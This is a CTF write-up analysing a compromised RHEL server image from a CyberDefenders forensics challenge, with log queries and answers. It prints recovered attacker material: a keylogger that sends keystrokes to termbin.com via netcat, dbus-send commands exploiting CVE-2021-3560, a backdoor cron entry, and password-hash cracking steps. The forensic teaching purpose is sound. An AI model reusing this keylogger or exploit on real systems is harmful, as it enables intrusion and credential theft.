CTF01: Cyberdefenders.org
CyberDefenders put on their first CTF. I cam in 30th out of 58 teams with a score of 1000 out of 1450. Three questions were not answered: 4, 12, and 15.
Their scenario is as follows:
You have been called to analyze a compromised Linux server. Figure out how the threat actor gained access, what modifications were applied to the system, and what persistent techniques were utilized. (e.g. backdoors, users, sessions, etc).
The challenge zip file contains a full (or maybe near complete) RedHat Enterprise Linux server compressed to a 3.5G file.
Step 1: Mounting the e01 image from the zip file
SANS's Digital Forensic SIFTing - Mounting Evidence Image Files gives some hints on how to do this. I am using Tsurugi OS instead of SIFT.
Mounting the E01:
sudo ewfmount ~/Desktop/RedHat/02.E01 /mnt/raw1
This shows the E01 holding raw image mounted. Next, need to mount the image itself on a loopback device.
sudo mount /mnt/raw1/ewf1 /mnt/ewf1 -o ro,loop
I had to remove several of the extra options to get this to work. So, you may have to modify the options from the SANS blog above.
As noted before, there appears to be a complete Linux file structure.
Questions
-
What is the RHEL version of the operating system? 8.4
tsurugi@tsurugi-vm:/mnt/ewf1$ cat etc/system-release Red Hat Enterprise Linux release 8.4 (Ootpa)
-
How many users had a login shell? 6
This shows logins on the system but only shows 4 users. I guess this one. I'll have to look at this again in better details.This is one is strange, for sure. I was thinking "was logged in with a login shell" or something along those lines. I was not thinking they could get a login shell. Do this:
root@tsurugi-vm:/mnt/ewf1# grep -i /bin/bash etc/passwd root:x:0:0:root:/root:/bin/bash cyberdefenders:x:1000:1000:cyberdefenders:/home/cyberdefenders:/bin/bash rossatron:x:1001:1001::/home/rossatron:/bin/bash chandler:x:1002:1002::/home/chandler:/bin/bash tribbiani.j:x:1003:1003::/home/tribbiani.j:/bin/bash rachel:x:1004:1004:Anon:/home/rachel:/bin/bash root@tsurugi-vm:/mnt/ewf1# grep -i /bin/bash etc/passwd | wc -l 6
-
How many users were allowed to run the SUDO command on the system? 2
/etc/sudoers
file contains who can run SUDO on the system. Examing that file gives the following output:tsurugi@tsurugi-vm:/mnt/ewf1$ sudo grep -v "#" etc/sudoers | grep -v "Defaults" | sed -e '/^$/d' root ALL=(ALL) ALL %wheel ALL=(ALL) ALL
Note that
grep -v
is an reverse match--match everything but this. The sed command removes empty lines.OR using just sed:
tsurugi@tsurugi-vm:/mnt/ewf1$ sudo sed -e '/^$/d; /^#/d; /^Defaults/d' etc/sudoers root ALL=(ALL) ALL %wheel ALL=(ALL) ALL
So, first we have
root
(but it is not a "user" so ignore it) and every user in thewheel
group. Groups are stored in/etc/group
as shown below:tsurugi@tsurugi-vm:/mnt/ewf1$ sudo grep "wheel" etc/group wheel:x:10:cyberdefenders,rachel
-
(Missed) What is the password for 'rossatron' account? rachelgreen
First you need to unshadow the password/shadow files using the `unshadow:
root@tsurugi-vm:~/password_crack# unshadow passwd shadow | grep rossatron > hashes.txt root@tsurugi-vm:~/password_crack# cat hashes.txt rossatron:$6$VXPKT.St9Jp0S2FH$EKA.JwvuEIT175KLTbZS61sEsOz6vDbeh5/2iFDfpm3.roox5WYt999a4hrYcTXNfnEoLnWJuC4xo0NPmBirl0:1001:1001::/home/rossatron:/bin/bash
This puts the file in the right format for John the Ripper. You need to grab the rockyou.txt wordlist. You can read about the two breaches part of "Rock You" dataset here and here. Extract the wordlist then get to cracking the password. This may take a long while to crack if you are in a virtual machine.
root@tsurugi-vm:~/password_crack# john --wordlist=rockyou.txt hashes.txt Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status rachelgreen (rossatron) 1g 0:00:34:27 DONE (2021-09-30 19:35) 0.000483g/s 142.9p/s 142.9c/s 142.9C/s raners..queen03 Use the "--show" option to display all of the cracked passwords reliably Session completed
-
What was the victim's ip address? 192.168.196.129
Network Manager is installed and running. It logs in the
/var/log/messages
file.root@tsurugi-vm:/mnt/ewf1/var/log# cat messages | grep dhcp | head Aug 23 09:45:43 localhost NetworkManager[1209]: <info> [1629726343.4091] dhcp-init: Using DHCP client 'internal' Aug 23 09:45:44 localhost NetworkManager[1209]: <info> [1629726344.0862] dhcp4 (ens160): activation: beginning transaction (timeout in 45 seconds) Aug 23 09:45:45 localhost NetworkManager[1209]: <info> [1629726345.0913] dhcp4 (ens160): state changed unknown -> bound, address=192.168.196.129
-
What service did the attacker use to gain access to the system? ssh
Authenication is logged in
/var/log/secure
and below is part of that file sorted.root@tsurugi-vm:/mnt/ewf1/var/log# cat secure | grep -ie "failed\|accepted" | cut -d " " -f 5- | sort | uniq -c 1 gdm-password][41138]: pam_unix(gdm-password:auth): conversation failed 1 polkitd[3478]: Operator of unix-session:11 FAILED to authenticate to gain authorization for action org.freedesktop.packagekit.system-sources-refresh for system-bus-name::1.2709 [/usr/bin/gnome-software --gapplication-service] (owned by unix-user:tribbiani.j) 1 polkitd[3478]: Operator of unix-session:11 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.2723 [/usr/libexec/gnome-initial-setup --existing-user] (owned by unix-user:tribbiani.j) 1 polkitd[3478]: Operator of unix-session:5 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.1154 [/usr/libexec/gnome-initial-setup --existing-user] (owned by unix-user:chandler) 1 polkitd[3478]: Operator of unix-session:8 FAILED to authenticate to gain authorization for action org.freedesktop.packagekit.system-sources-refresh for system-bus-name::1.1815 [/usr/bin/gnome-software --gapplication-service] (owned by unix-user:rossatron) 1 polkitd[3478]: Operator of unix-session:8 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.1829 [/usr/libexec/gnome-initial-setup --existing-user] (owned by unix-user:rossatron) 1 sshd[2217]: Accepted password for rachel from 192.168.196.128 port 49550 ssh2 2 sshd[2979]: Accepted key RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ found at /home/chandler/.ssh/authorized_keys:1 1 sshd[2979]: Accepted publickey for chandler from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ 1 sshd[3005]: Accepted password for rachel from 192.168.196.128 port 48764 ssh2 1 sshd[39495]: Accepted password for rossatron from 192.168.196.1 port 1074 ssh2 1 sshd[39731]: Accepted password for chandler from 192.168.196.125 port 1152 ssh2 1 sshd[39913]: Accepted password for tribbiani.j from 192.168.196.176 port 1204 ssh2 6 sshd[40133]: Failed password for invalid user ross from 192.168.196.128 port 37022 ssh2 6 sshd[40134]: Failed password for invalid user ross from 192.168.196.128 port 37028 ssh2 6 sshd[40135]: Failed password for invalid user ross from 192.168.196.128 port 37024 ssh2 6 sshd[40136]: Failed password for invalid user ross from 192.168.196.128 port 37026 ssh2 3 sshd[40144]: Failed password for invalid user ross from 192.168.196.128 port 37042 ssh2 3 sshd[40145]: Failed password for invalid user ross from 192.168.196.128 port 37044 ssh2 4 sshd[40146]: Failed password for invalid user ross from 192.168.196.128 port 37040 ssh2 3 sshd[40147]: Failed password for invalid user ross from 192.168.196.128 port 37050 ssh2 5 sshd[40161]: Failed password for rossatron from 192.168.196.128 port 37052 ssh2 1 sshd[40162]: Accepted password for rossatron from 192.168.196.128 port 37056 ssh2 4 sshd[40162]: Failed password for rossatron from 192.168.196.128 port 37056 ssh2 5 sshd[40163]: Failed password for rossatron from 192.168.196.128 port 37054 ssh2 4 sshd[40170]: Failed password for rossatron from 192.168.196.128 port 37058 ssh2 6 sshd[40189]: Failed password for chandler from 192.168.196.128 port 37060 ssh2
One thing to note here, the number of failed password for different users from the 192.168.196.128 using the
ssh
service.ssh
was the service used and192.168.196.128
is the attacker's IP. -
What was the attacker's IP address? 192.168.196.128 (see above)
-
What authenication attack did the attack use to gain access to the system? (one word no spaces)? bruteforce (see Q7 for log output)
-
How many accounts was the attacker able to get their password? 2
Here we grep
/var/log/secure
. The first 3 lines are "real" logins. The next line (#4) is using the password forrossatron
and nextchandler
.rachel
was changed by thechandler
account and doesn't count for this.root@tsurugi-vm:/mnt/ewf1# grep -i accepted var/log/secure Aug 23 13:57:27 localhost sshd[39495]: Accepted password for rossatron from 192.168.196.1 port 1074 ssh2 Aug 23 14:00:02 localhost sshd[39731]: Accepted password for chandler from 192.168.196.125 port 1152 ssh2 Aug 23 14:00:43 localhost sshd[39913]: Accepted password for tribbiani.j from 192.168.196.176 port 1204 ssh2 Aug 23 14:03:10 localhost sshd[40162]: Accepted password for rossatron from 192.168.196.128 port 37056 ssh2 Aug 23 14:03:59 localhost sshd[40326]: Accepted password for chandler from 192.168.196.128 port 37074 ssh2 Aug 23 14:29:59 localhost sshd[40918]: Accepted password for chandler from 192.168.196.128 port 37116 ssh2 Aug 23 20:32:36 localhost sshd[42491]: Accepted password for chandler from 192.168.196.128 port 48734 ssh2 Aug 23 20:39:35 localhost sshd[42744]: Accepted password for chandler from 192.168.196.128 port 48742 ssh2 Aug 23 20:48:44 localhost sshd[43029]: Accepted publickey for chandler from 192.168.196.128 port 48744 ssh2: RSA SHA256:hMkpnF6PyOrGKmWMEz1YWJZPh4La7tt2GlWgyG1cGfc Aug 24 08:03:54 localhost sshd[43916]: Accepted password for chandler from 192.168.196.128 port 48748 ssh2 Aug 24 08:04:33 localhost sshd[44161]: Accepted publickey for chandler from 192.168.196.128 port 48750 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ Aug 24 08:24:19 localhost sshd[2979]: Accepted key RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ found at /home/chandler/.ssh/authorized_keys:1 Aug 24 08:24:19 localhost sshd[2979]: Accepted key RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ found at /home/chandler/.ssh/authorized_keys:1 Aug 24 08:24:19 localhost sshd[2979]: Accepted publickey for chandler from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ Aug 24 08:51:03 localhost sshd[3005]: Accepted password for rachel from 192.168.196.128 port 48764 ssh2 Aug 24 09:11:11 localhost sshd[2217]: Accepted password for rachel from 192.168.196.128 port 49550 ssh2
-
When did the attack start? 23/08/2021
Again, using the
/var/log/secure
file:root@tsurugi-vm:/mnt/ewf1/var/log# cat secure | grep "192\.168\.196\.128" Aug 23 14:02:01 localhost sshd[40131]: Invalid user ross from 192.168.196.128 port 37020 Aug 23 14:02:01 localhost sshd[40131]: Received disconnect from 192.168.196.128 port 37020:11: Bye Bye [preauth] Aug 23 14:02:01 localhost sshd[40131]: Disconnected from invalid user ross 192.168.196.128 port 37020 [preaut]
This gives us the date but what bout the year?
root@tsurugi-vm:/mnt/ewf1/var/log# cat messages | grep -i time | head -n 50 <snip> Aug 23 09:45:41 localhost chronyd[1061]: Using right/UTC timezone to obtain leap second data Aug 23 09:45:42 localhost systemd[1]: Started RealtimeKit Scheduling Policy Service. Aug 23 09:45:42 localhost run-initial-setup[1099]: (==) Log file: "/var/log/Xorg.9.log", Time: Mon Aug 23 09:45:42 2021 Aug 23 09:45:42 localhost kernel: hrtimer: interrupt took 3020370 ns Aug 23 09:45:43 localhost NetworkManager[1209]: <info> [1629726343.3389] NetworkManager (version 1.30.0-10.el8_4) is starting... (for the first time) Aug 23 09:45:44 localhost NetworkManager[1209]: <info> [1629726344.0862] dhcp4 (ens160): activation: beginning transaction (timeout in 45 seconds)
The Xorg service logs the full time. Giving the year "2021." It's always a good idea to check your time information.
-
What is the compromised user account used to gain initial access to the system? chandler
Let's head back into
/var/log/secure
:root@tsurugi-vm:/mnt/ewf1/var/log# cat secure | grep -ie "accepted" | grep "192\.168\.196\.128" Aug 23 14:03:10 localhost sshd[40162]: Accepted password for rossatron from 192.168.196.128 port 37056 ssh2 Aug 23 14:03:59 localhost sshd[40326]: Accepted password for chandler from 192.168.196.128 port 37074 ssh2 Aug 23 14:29:59 localhost sshd[40918]: Accepted password for chandler from 192.168.196.128 port 37116 ssh2 Aug 23 20:32:36 localhost sshd[42491]: Accepted password for chandler from 192.168.196.128 port 48734 ssh2 Aug 23 20:39:35 localhost sshd[42744]: Accepted password for chandler from 192.168.196.128 port 48742 ssh2 Aug 23 20:48:44 localhost sshd[43029]: Accepted publickey for chandler from 192.168.196.128 port 48744 ssh2: RSA SHA256:hMkpnF6PyOrGKmWMEz1YWJZPh4La7tt2GlWgyG1cGfc Aug 24 08:03:54 localhost sshd[43916]: Accepted password for chandler from 192.168.196.128 port 48748 ssh2 Aug 24 08:04:33 localhost sshd[44161]: Accepted publickey for chandler from 192.168.196.128 port 48750 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ Aug 24 08:24:19 localhost sshd[2979]: Accepted publickey for chandler from 192.168.196.128 port 48762 ssh2: RSA SHA256:mVT+DmLq2ctDhRYn7DrSN7a7TBGpyLeKnC2ZQgPDsjQ Aug 24 08:51:03 localhost sshd[3005]: Accepted password for rachel from 192.168.196.128 port 48764 ssh2 Aug 24 09:11:11 localhost sshd[2217]: Accepted password for rachel from 192.168.196.128 port 49550 ssh2
Most of the logins seems to check the password, however, the user
chandler
is logged in using a publickey which could be an automatic login method and thus the initial access to the system. -
(Missed) What is the MITRE ID of the technique used to achieve persistence after the inital access? T1098.004
If we take a look at the root's crontab, we have a command here using thec2c.py
script previously found.implant
causes the script to run in the background and3133337
is the system-id for the malware.root@tsurugi-vm:/mnt/ewf1# cat var/spool/cron/root
@reboot /usr/bin/python2 /usr/bin/c2c.py implant 3133337So the following seem to match (though, neither worked):* T1574.XXX - Boot or Logon Autostart Execution
* T1037.XXX - Boot or Logon Initialization ScriptsApparently, this direction was completely incorrect, if you look at
root@tsurugi-vm:/mnt/ewf1# cat home/chandler/.bash_history
you will see a linecat .ssh/authorized_keys
which has a recent modification date. I think the scriptp3333r.sh
modified the ssh keys. This script was not located on the computer. Check MITRE T1098.004. -
What is the CVE number used by the attack to escalate privilages? CVE-2021-3560
I was checking the
.bash_history
files and came across these dbug-send commands. These would be very strange for a user to use. Quick google search, yielded the CVEroot@tsurugi-vm:/mnt/ewf1# cat home/chandler/.bash_history | grep dbus-send dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:rachel string:"Anon" int32:1 & sleep 0.008s ; kill $!; cat /etc/passwd dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1004 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!
-
The attacker dropped a backdoor to achieve persistence. The backdoor received commands from a Gmail account. What is the email used to send commands? cdefender16@gmail.com
Running this command shows me the files sorted by modification date, and since the files dropped on the box would be "current," this has the best chance to finding the files
root@tsurugi-vm:/mnt/ewf1/sbin# ls -alht ../bin | less # <snip> lrwxrwxrwx. 1 root root 25 Aug 23 09:06 mkisofs -> /etc/alternatives/mkisofs lrwxrwxrwx. 1 root root 24 Aug 23 09:06 unversioned-python -> /etc/alternatives/python drwxr-xr-x. 12 root root 4.0K Aug 23 09:05 .. -rw-r--r--. 1 root root 1.9K Aug 20 18:25 c2c.py -rwxr-xr-x. 1 root root 7.2K Aug 5 15:33 firefox -rwxr-xr-x. 1 root root 213K Aug 5 08:37 exiv2 -rwxr-xr-x. 1 root root 78K Jul 28 07:56 busctl # <snip>
The file
c2c.py
stands out as a non-standard file. Also, "c2c" might stand for "command&control". Searching this file reveals:username = 'cdefender16@gmail.com' passwd = 'dumbledorearmy'
-
(Missed) The attacker downloaded a keylogger to capture users' keystrokes. What is the secret word the attack was able to exfiltrate? HAVEAGOOOODDAY
Sorting /etc by date, you get the following list of files.
xfil.py
stands out here: (1) new file and (2) python script inside the/etc
which does not normally happen.root@tsurugi-vm:/mnt/ewf1# ls -lat etc | head total 1884 drwxr-xr-x. 4 root lp 4096 Aug 24 10:07 cups drwxr-xr-x. 143 root root 12288 Aug 24 10:05 . -rw-r--r--. 1 root root 74 Aug 24 10:05 resolv.conf -rw-r--r--. 1 root root 457 Aug 24 09:31 xfil.py -rw-r--r--. 1 root root 43067 Aug 24 08:52 ld.so.cache drwxr-xr-x. 2 root root 4096 Aug 24 08:52 bash_completion.d ----------. 1 root root 1847 Aug 24 08:28 shadow -rw-r--r--. 1 root root 2774 Aug 24 08:28 passwd -rw-r--r--. 1 root root 2774 Aug 24 08:28 passwd-
You can also see it inside the
/var/log/secure
log file:Aug 24 09:15:29 localhost sudo[3218]: rachel : TTY=pts/0 ; PWD=/home/rachel ; USER=root ; COMMAND=/bin/cat /root/exfil.txt Aug 24 09:16:01 localhost sudo[3234]: rachel : TTY=pts/0 ; PWD=/home/rachel ; USER=root ; COMMAND=/bin/python2 /etc/xfil.py
If you look at the script, you get the following:
import subprocess, binascii, hashlib, random, string, time f = open("/dev/input/event1","rb") data = '' rec = time.time() while time.time() < rec+10: data += f.read(24) f.close() print("test") link = subprocess.Popen('echo {} | nc termbin.com 9999'.format(data.encode('hex')), shell=True, stdout=subprocess.PIPE).communicate()[0][20:-2] print(link) with open("xfil.txt", "w") as file1: # Writing data to a file file1.write(link) file1.close
Here, you should note the following:
-
nc termbin.com 9999 <-- netcat and termbin.com is a "Terminal Pastebin"
-
xfil.txt <-- find this on the computer at
/home/rachel/xfil.txt
:iof5
This gives the full url of http://termbin.com/iof5 but that gives 404. So, https://web.archive.org/web/20210825050145/termbin.com/iof5 works. You then get a string of hex (shown below).
-
-
(continued)
Save the file to a .bin:root@tsurugi-vm:/home/tsurugi/Desktop# curl https://web.archive.org/web/20210825050145/termbin.com/iof5 | xxd -r -ps > message.bin % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 8689 0 8689 0 0 2005 0 --:--:-- 0:00:04 --:--:-- 2005
The binary data is encoded keyboard strokes from the keylogger. Grab a copy of the keyboard_stream.py which decodes the stream of data.
root@tsurugi-vm:/home/tsurugi/Desktop# python3 keyboard_stream.py YOUR SECRET IS HAVEAGOOOODDAY